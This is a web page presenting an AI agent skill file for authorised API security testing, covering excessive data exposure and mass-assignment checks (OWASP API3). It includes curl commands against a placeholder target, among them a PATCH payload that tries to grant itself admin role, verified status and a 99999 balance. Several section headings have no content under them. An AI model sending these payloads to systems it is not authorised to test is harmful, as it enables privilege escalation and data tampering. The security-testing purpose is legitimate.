Api bopla

From xalgorix/xalgorix · View interactive version

Api bopla is an AI agent skill from the GitHub repository xalgorix/xalgorix. Broken Object Property Level Authorization testing covering unauthorized property reads (excessive data exposure) and writes (mass assignment) with differential evidence

How to use this skill

Skill file

API BOPLA — Broken Object Property Level Authorization (OWASP API3)

Purpose

Test whether API responses expose restricted properties to unauthorized callers (READ) and whether unauthorized callers can modify properties they should not control (WRITE/mass assignment).

Preconditions

Attack Surface Signals

Methodology

Unauthorized Property READ (Excessive Data Exposure)

Establish what the caller SHOULD see, then verify what they ACTUALLY receive:

# 1. Get the legitimate response for the lowest-privilege caller
curl -sk -H "Authorization: Bearer USER_TOKEN" "https://TARGET/api/users/me" | jq . > tmp/user_response.json

# 2. Check for restricted properties in the response
# Look for: role, isAdmin, internalId, permissions, balance, tenantId,
# is_verified, price_override, created_by, deleted_at, api_key, password_hash
jq 'keys' tmp/user_response.json

# 3. Compare against the same endpoint as a higher-privilege caller
# (if available) or against the UI display
curl -sk -H "Authorization: Bearer ADMIN_TOKEN" "https://TARGET/api/users/me" | jq . > tmp/admin_response.json
diff <(jq -S 'keys' tmp/user_response.json) <(jq -S 'keys' tmp/admin_response.json)

IMPORTANT: Field NAMES alone are not evidence. Verify the VALUE is:

Unauthorized Property WRITE (Mass Assignment)

Test whether restricted properties can be set via the API:

# 1. Establish the baseline object state
curl -sk -H "Authorization: Bearer USER_TOKEN" "https://TARGET/api/users/me" | jq . > tmp/before.json

# 2. Attempt to set a restricted property
curl -sk -X PATCH "https://TARGET/api/users/me" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","is_admin":true,"balance":99999,"is_verified":true}' \
  | jq .

# 3. Verify the change actually persisted (READ-BACK)
curl -sk -H "Authorization: Bearer USER_TOKEN" "https://TARGET/api/users/me" | jq . > tmp/after.json
diff <(jq -S . tmp/before.json) <(jq -S . tmp/after.json)

Verification is mandatory: a 200 response does NOT prove the write happened. Read back and diff.

Cross-Role Property Access

Use authz_matrix for automated differential testing:

authz_matrix(endpoint="/api/users/me", roleA="USER_TOKEN", roleB="ADMIN_TOKEN")

Evidence Contract

A BOPLA finding requires ALL of:

  1. Baseline: legitimate low-privilege request establishes normal state
  2. Manipulation: same request with restricted property present
  3. Differential: the restricted property's value CHANGED (write) or was RETURNED when it should not have been (read)
  4. The value is genuinely restricted — not ordinary metadata

NOT evidence: field named "internal_id" exists, response has more fields than the UI, HTTP 200 on a PATCH

Common Misses

False Positives / Non-Findings

Xalgorix Tool Strategy

Stopping Rule

Exhaust every discovered property on every endpoint accessible to the tested role. Test both read and write paths.

Handoff

Report each confirmed unauthorized property access with: endpoint, property name, expected access level, actual behavior, and the concrete value that was exposed or persisted.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.